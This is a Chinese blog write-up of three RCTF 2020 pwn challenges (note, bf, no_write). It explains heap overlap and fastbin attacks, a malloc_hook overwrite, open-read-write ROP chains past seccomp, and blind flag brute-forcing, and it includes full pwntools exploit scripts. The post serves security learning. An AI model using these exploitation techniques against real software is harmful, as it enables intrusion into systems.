风之栖息地

2020RCTF 几道pwn题的复现

字数统计: 4.7k阅读时长: 21 min
2020/08/01 Share

博客长草严重,上半年摸鱼太久。最近趁着有空开始复现之前的一些题目,这次做了2020RCTF的几道pwn题,本来还想着把MIPS那道题做出来再发,结果发现MIPS的调试还有很多问题,所以就先发常规一点的题。

note

最经典的菜单堆题,还是note管理系统。64位程序,保护全开。主要功能有new,sell,show,edit,经典的增删查改,除了基本功能之外,还有两个额外的功能,一个是super note,一个是越界写数据但是只能操作一次。

这个题的super note是个幌子,最后完全没有用到。它的数据结构是三个部分组成,开头是一个指针指向我们申请的message区域,第二块是size,表示message的大小,第三块是表示money。

1
2
3
4
5
6
7
8
9
10
+---------------+----------->+-------------+
| ptr | | |
| | | message |
+---------------+ | |
| size | +-------------+
| |
+---------------+
| money |
| |
+---------------+

绕过money的限制

这里利用了它的index可以为负数的问题,我们可以向前修改数据,并且恰巧在index=-5时ptr的位置处有一个指针,它指向自己地址,同时在它的后面有存储着money的变量地址。这样我们就可以编辑下标为-5的地方,输入我们的值把money变大绕过分配note的限制。

edit(-5,'a'*8 + p64(0xfffffffffffffff) + '\x01')

由于分配内存需要消耗size*857的钱,出售只能得到size*64的钱,所以这里还有另外一种绕过的方法,利用了寄存器溢出的问题,我们给一个很大的数,这个数n能够满足n*857溢出,n*64不会溢出,这样我们在用money比较n*857就能通过,但是在出售的时候却没有溢出,这个数就会很大,出售得到的钱足够我们使用。

new(0, 21524788884141834) sell(0)

chunk overlap

因为我们有一次越界写的机会,所以能轻松的修改掉chunk的size区域实现overlap。

由于有tcache的存在,我们需要分配超过small bin大小的chunk释放后才能进入unsorted bin。我们在头部和尾部分配小chunk,头部chunk拿来溢出,尾部chunk为了避免和top chunk合并。溢出修改size之后释放,就会进入unsorted bin,它的fdbk指针会指向main_arena区域,随后我们分配它原始大小的chunk,这样剩下的部分会移动进overlap的chunk中,这个时候再使用show功能泄露地址,通过main_arena我们可以计算出libc基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
new(1, 0x20)
new(2, 0x300) # 0x100
new(3, 0x60) # 0x70
new(4, 0x60) # 0x70
new(5, 0x60)
new(6, 0x10)

once(1,'a'*0x28 + p64(0x461))

sell(2)

new(2, 0x300)
show(3)

leak_addr = u64(io.recvn(6).ljust(8,'\x00'))

除了使用unsorted bin来泄露地址之外,还可以使用large bin的chunk来泄露地址。

fastbin attack

在知道libc基地址之后,我们剩下的工作就是向__malloc_hook或者__free_hook中写入one_gadget。首先,我们新分配一个大小为0x60的note,这个的chunk会和原来的index=3的note重合,我们再释放index=3的note,为了让它进入fastbin,我们必须要先把tcache塞满7个。释放之后,我们拿新分配的note写入需要伪造的地址,这样我们再次分配两次,第二次就能拿到伪造地址的chunk。

这个伪造地址也是很讲究的,它的size区域必须要符合fastbin的检查,而为了方便我们一般会写__malloc_hook之前偏移的一部分,通过偏移能够凑出size大小为0x7f,同时我们还能覆盖__realloc_hook。如果我们的one_gadget无法满足条件,那么我们可以在__realloc_hook中写入one_gadget,__malloc_hook中写入__libc_realloc加上一定偏移。这个偏移是决定pop的数量,为了满足条件以此来调整栈的位置。

1
2
3
4
5
6
7
8
9
10
new(7, 0x60)
sell(3)

edit(7, p64(fake_addr))
new(8, 0x60)
new(9, 0x60)

edit(9, 'a'*11 + p64(one_gadget) + p64(realloc_addr+8))

new(3, 0x20)

总结

一道chunk overlap+fastbin attack的题目。里面通过调试学到了一个有趣的地方,calloc在分配chunk的时候,不会从tcache中拿chunk,仔细想想calloc在分配的时候会对内存做初始化操作,可能也是因为这个原因所以分配tcache缓存的意义不大。(纯属推测)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

io = process('./note')
#io = remote('124.156.135.103', 6004)

context(log_level='debug')
libc = ELF('./libc.so.6')

def new(index, size):
io.recvuntil('Choice: ')
io.send('1')
io.recvuntil('Index: ')
io.send(str(index))
io.recvuntil('Size: ')
io.send(str(size))

def sell(index):
io.recvuntil('Choice: ')
io.send('2')
io.recvuntil('Index: ')
io.send(str(index))

def show(index):
io.recvuntil('Choice: ')
io.send('3')
io.recvuntil('Index: ')
io.send(str(index))

def edit(index, message):
io.recvuntil('Choice: ')
io.send('4')
io.recvuntil('Index: ')
io.send(str(index))
io.recvuntil('Message: ')
io.sendline(message)

def once(index, message):
io.recvuntil('Choice: ')
io.send('7')
io.recvuntil('Index: ')
io.send(str(index))
io.recvuntil('Message: ')
io.send(message)

pause()
new(0, 21524788884141834)
sell(0)
pause()
edit(-5,'a'*8 + p64(0xfffffffffffffff) + '\x01') # fill money with 0xfffffffffffffff

for i in range(7):
new(i, 0x60)
sell(i)

new(1, 0x20)
new(2, 0x300) # 0x100
new(3, 0x60) # 0x70
new(4, 0x60) # 0x70
new(5, 0x60)
new(6, 0x10)
pause()

once(1,'a'*0x28 + p64(0x461))

sell(2)

new(2, 0x300)
show(3)

leak_addr = u64(io.recvn(6).ljust(8,'\x00'))

log.info('leak_addr: ' + hex(leak_addr))

main_arena = leak_addr - 96
# libc_addr = main_arena - 0x3ebc40
# one_gadget = libc_addr + 0x4f322 # 0x4f2c5 0x10a38c

libc_addr = main_arena - 0x1e4c40
one_gadget = libc_addr + 0x106ef8

malloc_hook = libc_addr + libc.sym['__malloc_hook']
realloc_addr = libc_addr + libc.sym['__libc_realloc']

log.info('libc: ' + hex(libc_addr))
log.info('malloc_hook: ' + hex(malloc_hook))

fake_addr = malloc_hook - 0x23

new(7, 0x60)
sell(3)
pause()
edit(7, p64(fake_addr))
new(8, 0x60)
new(9, 0x60)

edit(9, 'a'*11 + p64(one_gadget) + p64(realloc_addr+8))
pause()
new(3, 0x20)
io.interactive()

bf

一道头秃的c++题目,仔细分析代码可以知道我们输入的code会被当做brainfuck代码解析,随后执行。漏洞点出现在移动指针的操作上。

这里退出的条件是指针大于字符串的地址,忽视了等于的时候,所以可以正好读取或者修改字符串的最低字节。而这个最低字节刚好是字符串结构的一个指针它指向存储数据的buf地址,当字符串的长度小于等于16时会把结构体放在栈上。

1
2
3
4
5
6
class string{
char* ptr;
size_t len;
char buf[0x10];
...
}

我们要做的是覆盖这个指针让它指向其他位置,通过再次写入内容可以完成rop chain。在这之后的这道题限制了execve,所以只能使用orw的方法获取flag。

泄露stack和libc地址

首先,我们需要泄露出指针的最低位,因为在最后返回的时候需要把指针最低位还原,不然析构函数会报错。

输入brainfuck的代码,[.>,]>.,其中,读入一字节写入到当前位置,[]类似于循环如果当前位置的数据不为0则会从]跳回[.输出当前位置的数据,>指针向前移动一个字节。总结来说,这段代码就是可以不断的读输入直到有\x00出现循环退出,再移动一位输出数据。

输入这段代码之后,我们输入0x3ff的数据末尾跟着\x00,这样就能移动0x400字节大小读取到string的最低字节。在获得最低字节后会判断这个是否符合我们攻击的要求,因为最低字节过大会让后面写入的rop chain超过可控范围。

1
2
3
4
5
6
7
8
9
p.recvuntil("enter your code:\n")
p.sendline(",[.>,]>.")
p.send("B"*0x3ff+'\x00') # 0x400
p.recvuntil("running....\n")
p.recvuntil("B"*0x3ff)
low_bit = ord(p.recv(1))
info('low_bit: '+ hex(low_bit))
if low_bit + 0x70 >= 0x100: # :(
sys.exit(0)

有了合适的最低字节之后,我们查看栈上有没有可以利用到的数据。

在地址0x7ffd464a22d0后面偏移0x20的位置处能看到一个和栈相关的地址,泄露出来我们就能获得栈地址,再往后面看到返回地址处是libc相关的,所以我们再次泄露出返回地址就能得到libc的基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# leak stack
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x20))
p.recvuntil("your code: ")
stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8
info("stack : " + hex(stack))
p.recvuntil("continue?\n")
p.send('y')

# leak libc
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x38))
p.recvuntil("your code: ")
libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97
info("libc : " + hex(libc.address))
p.recvuntil("continue?\n")
p.send('y')

构造ROP chain执行read

首先是找gadget,pop rdi之类的还是很好找的,用工具一下就能出来,但是这个syscall; ret;的gadget用工具没有找到,所以我在libc中开始人工查找,最后发现了get_uid之类的函数,它的整体就只有三句汇编,最后两句就是我们想要的。这里就学到了一点,以后找syscall的gadget直接找get_uid就好了。

然后是写入数据了,发现一个问题,那就是我们写入数据是利用的之前写brainfuck代码的功能,这个栈空间因为我们输入的代码字符串被破坏,而每次写入的15字节中的前8个字节会被覆盖成我们输入的brainfuck代码,所以这里采用每轮循环会重复写入一段数据来消除这种影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def write_low_bit(low_bit,offset):
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+offset))
p.recvuntil("your code: ")
p.recvuntil("continue?\n")
p.send('y')
p.recvuntil("enter your code:\n")
p.sendline("\x00"*0xf)
p.recvuntil("continue?\n")
p.send('y')


rop_chain = [
0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"]
]

rop_chain_len = len(rop_chain) # len=8

for i in range(rop_chain_len-1,0,-1):
write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i))
p.recvuntil("enter your code:\n")
p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6])
p.recvuntil("continue?\n")
p.send('y')

这种输入刚好让rop chain能够覆盖到返回地址,在函数返回之后会读入orw的rop来绕过seccomp的限制。其中比较巧妙的是利用错位和\x00来补位。

read读入orw获得flag

剩下的就是构造orw的rop来完成最后的利用,因为我们的上个rop的长度是0x30,而我们的stack是返回地址,所以我们的rop起点是stack+0x30,读入是从stack开始的,所以前面空出的0x30数据段可以填入/flag

需要记得在最后退出主函数之前,需要把字符串的指针地址复原。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
write_low_bit(low_bit,0)

p.recvuntil("enter your code:\n")
p.sendline('')
p.recvuntil("continue?\n")
p.send('n')


payload = "/flag".ljust(0x30,'\x00')
payload += flat([
p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret,
p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret,
p_rax,1,p_rdi,1,syscall_ret
])
pause()
p.send(payload.ljust(0x100,'\x00'))

总结

整道题比较有趣的地方是那个如何控制好写入rop chain,使用到brainfuck代码来完成持续的写入。通过这道题也了解到C++中string的结构。这里给出官方的exp,完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'debug'

def write_low_bit(low_bit,offset):
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+offset))
p.recvuntil("your code: ")
p.recvuntil("continue?\n")
p.send('y')
p.recvuntil("enter your code:\n")
p.sendline("\x00"*0xf)
p.recvuntil("continue?\n")
p.send('y')

def main(host,port=6002):
global p
if host:
p = remote(host,port)
else:
p = process("./bf")

# gdb.attach(p)
# leak low_bit
p.recvuntil("enter your code:\n")
# pause()
p.sendline(",[.>,]>.")
p.send("B"*0x3ff+'\x00') # 0x400
p.recvuntil("running....\n")
p.recvuntil("B"*0x3ff)
# pause()
low_bit = ord(p.recv(1))
info('low_bit: '+ hex(low_bit))
if low_bit + 0x70 >= 0x100: # :(
sys.exit(0)
# debug(0x000000000001C47)
p.recvuntil("continue?\n")
p.send('y')


# leak stack
p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
# pause()
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x20))
p.recvuntil("your code: ")
stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8
info("stack : " + hex(stack))
p.recvuntil("continue?\n")
p.send('y')
# leak libc

p.recvuntil("enter your code:\n")
p.sendline(",[>,]>,")
p.recvuntil("running....\n")
p.send("B"*0x3ff+'\x00')
p.send(chr(low_bit+0x38))
p.recvuntil("your code: ")
libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97
info("libc : " + hex(libc.address))
p.recvuntil("continue?\n")
p.send('y')

# do rop

# 0x00000000000a17e0: pop rdi; ret;
# 0x00000000001306d9: pop rdx; pop rsi; ret;
p_rdi = 0x00000000000a17e0 + libc.address
p_rdx_rsi = 0x00000000001306d9 + libc.address
ret = 0x00000000000d3d8a + libc.address
p_rax = 0x00000000000439c8 + libc.address
syscall_ret = 0x00000000000d2975 + libc.address # d2975!! get uid func

rop_chain = [
0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"]
]

rop_chain_len = len(rop_chain) # len=8

for i in range(rop_chain_len-1,0,-1):
write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i))
p.recvuntil("enter your code:\n")
p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6])
p.recvuntil("continue?\n")
p.send('y')
pause()

write_low_bit(low_bit,0)

p.recvuntil("enter your code:\n")
p.sendline('')
p.recvuntil("continue?\n")
p.send('n')


payload = "/flag".ljust(0x30,'\x00')
payload += flat([
p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret,
p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret,
p_rax,1,p_rdi,1,syscall_ret
])
pause()
p.send(payload.ljust(0x100,'\x00'))


p.interactive()

if __name__ == "__main__":
libc = ELF("./libc.so.6",checksec=False)
# elf = ELF("./bf",checksec=False)
main(args['REMOTE'])

no_write

一道花式rop的栈溢出题目,在ida中看到有prctl,用工具查看它的seccomp设置。

发现只能使用openread两个系统调用,又没有泄露函数。随后查看它的保护措施。

开启了full relro不能使用ret2dl_reslove的攻击方法,但是我们有openread,是可以想方法open ./flag,然后读入我们可控的数据段中。剩下的方法就是怎么把flag泄露出来。

在看到的wp中有两种思路很类似SQL的盲注思想,一种是基于错误的盲注,在比较中构造一种情况,比较正确和比较错误其中的一种能够引发异常,通过判断异常来逐位爆破比较;另外一种是基于延时的盲注,还是类似的构造出二元情况,通过判断响应时间来逐位爆破比较。我这里使用基于错误的盲注来解决题目。

构造read读入rop chain

因为没有地址随机化,所以首先想到我们先构造read读入数据到我们可控的地址上,然后转移栈帧执行我们放入的rop chain。这里的rop chain使用了csu_init中的万能调用gadget,把写入数据放在0x601350,方便后续利用,通过gadget也能同时控制rbp,在末尾放置leave ret开启栈转移操作,控制rip指向我们的rop chain。

1
2
3
4
5
6
7
8
p = process('./no_write')
pppppp_ret = 0x00000000040076A
read_got = 0x000000000600FD8
leave_tet = 0x00000000040070B
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) # move stack to 0x601400
payload = payload.ljust(0x100,'\x00')
p.send(payload)

利用__libc_start_main

我们的第二次输入需要使用__libc_start_main调用read_n函数,把函数地址pop进rdi中,剩下的rsi=0x601350rdx=0x400是可以直接沿用的值,调用__libc_start_main可以让栈上出现libc相关的地址,这样再利用gadget修改这些地址就可以得到我们想要的内容。我们要一位一位的爆破,肯定需要用于比较的指令,随后要使用系统调用肯定需要syscall ret,刚好在栈上残存了两个libc地址可以用。而怎么修改这两个地址?需要用到一个特殊的gadget。

1
2
3
.text:00000000004005E8                 add     [rbp-3Dh], ebx
.text:00000000004005EB nop dword ptr [rax+rax+00h]
.text:00000000004005F0 rep retn

这里的rbpebx是可以通过之前的csu_init的gadget控制,所以我们可以用这个修改栈上的地址变成我们可以使用的gadget。

我这里用于比较的函数是strncmp中的__strncmp_sse42,我们计算offset,让ebx为负数就会变成减。同时这里是要不断调试栈帧的,前面有一定长度的填充,要让__libc_start_main的结束返回地址放在0x601350上,这样我们第三次输入才能直接覆盖返回地址进行rop。

1
2
3
4
5
6
7
call_libc_start_main = 0x000000000400544
readn = 0x0000000004006BF
p_rdi = 0x0000000000400773

payload = "\x00"*(0x100-0x50) # 0x601400
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) # also has rsi=0x601350 rdx=0x400
payload = payload.ljust(0x400,'\x00')

逐位爆破flag

__libc_start_main调用完之后,用gadget修改栈上的libc地址为我们想要的gadget,随后开始用这些gadget执行open和read flag文件的操作,需要注意的一点,由于open操作没有对应的got表,所以需要系统调用才能使用,我们可以先调用一次read函数读入两个字节,让rax=2再用syscall ret调用open打开flag文件。读入flag到某个地址中,再读入我们的输入到0x601fff,这样比较的时候如果字符相同就会继续比较下一位,这样就溢出了程序可以控制的地址,引发错误,通过这种报错的方法一位一位爆破比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
offset = 0x267870 #initial - __strncmp_sse42
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # add [rbp-3Dh], ebx

offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) # make rax=2
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) # cmp flag
payload += p64(0)*6
payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)

sleep(0.3)
p.send("dd"+"d"*7+j)
sleep(0.5)
p.recv(timeout=0.5)
p.send("A"*0x100)
p.close()

总结

同样是一道非常有趣的题目,学到pwn中的一些盲注思路,和SQL注入类似都有基于报错的和基于延时的方法。以及利用__libc_start_main让libc地址出现在栈空间上,再利用gadget修改成我们想要的gadget完成整体的利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import string
context.arch='amd64'
context.log_level = 'debug'

def ret_csu(func,arg1=0,arg2=0,arg3=0):
payload = ''
payload += p64(0)+p64(1)+p64(func)
payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
return payload
def main(host,port=2333):
# global p
# if host:
# p = remote(host,port)
# else:
# p = process("./no_write")
# gdb.attach(p,"b* 0x0000000004006E6")
# 0x0000000000400773 : pop rdi ; ret
# 0x0000000000400771 : pop rsi ; pop r15 ; ret
# .text:0000000000400544 call cs:__libc_start_main_ptr

# .text:00000000004005E8 add [rbp-3Dh], ebx
# .text:00000000004005EB nop dword ptr [rax+rax+00h]
# .text:00000000004005F0 rep retn
charset = '}{_'+string.digits+string.letters
flag = ''
for i in range(0x30):
for j in charset:
try:
# p = remote(host,6000)
p = process('./no_write')
pppppp_ret = 0x00000000040076A
read_got = 0x000000000600FD8
call_libc_start_main = 0x000000000400544
p_rdi = 0x0000000000400773
p_rsi_r15 = 0x0000000000400771
# 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0
offset = 0x267870 #initial - __strncmp_sse42
readn = 0x0000000004006BF
leave_tet = 0x00000000040070B
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) # move stack to 0x601400
payload = payload.ljust(0x100,'\x00')
p.send(payload)
sleep(0.3)
payload = "\x00"*(0x100-0x50) # 0x601400
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) # also has rsi=0x601350 rdx=0x400
payload = payload.ljust(0x400,'\x00')
# pause()
p.send(payload)
# pause()
sleep(0.3)
# 0x601318
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # add [rbp-3Dh], ebx
# 0x00000000000d2975: syscall; ret;
# 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) # make rax=2
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) # cmp flag
payload += p64(0)*6
# for _ in range(4):
# payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)
payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)
# pause()
sleep(0.3)
p.send("dd"+"d"*7+j)
# pause()
sleep(0.5)
p.recv(timeout=0.5)
p.send("A"*0x100)
# pause()
# info(j)
p.close()
# p.interactive()
except EOFError:
flag += j
info(flag)
print(1)
if(j == '}'):
exit()
p.close()
# pause()
break
if __name__ == "__main__":
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])

Reference

https://blog.rois.io/2020/rctf-2020-official-writeup/

https://www.jianshu.com/p/be6bbc251919

https://mp.weixin.qq.com/s/Ov5PXoh-gHYYrOCA9TNWGw

CATALOG
  1. 1. note
    1. 1.1. 绕过money的限制
    2. 1.2. chunk overlap
    3. 1.3. fastbin attack
    4. 1.4. 总结
  2. 2. bf
    1. 2.1. 泄露stack和libc地址
    2. 2.2. 构造ROP chain执行read
    3. 2.3. read读入orw获得flag
    4. 2.4. 总结
  3. 3. no_write
    1. 3.1. 构造read读入rop chain
    2. 3.2. 利用__libc_start_main
    3. 3.3. 逐位爆破flag
    4. 3.4. 总结
  4. 4. Reference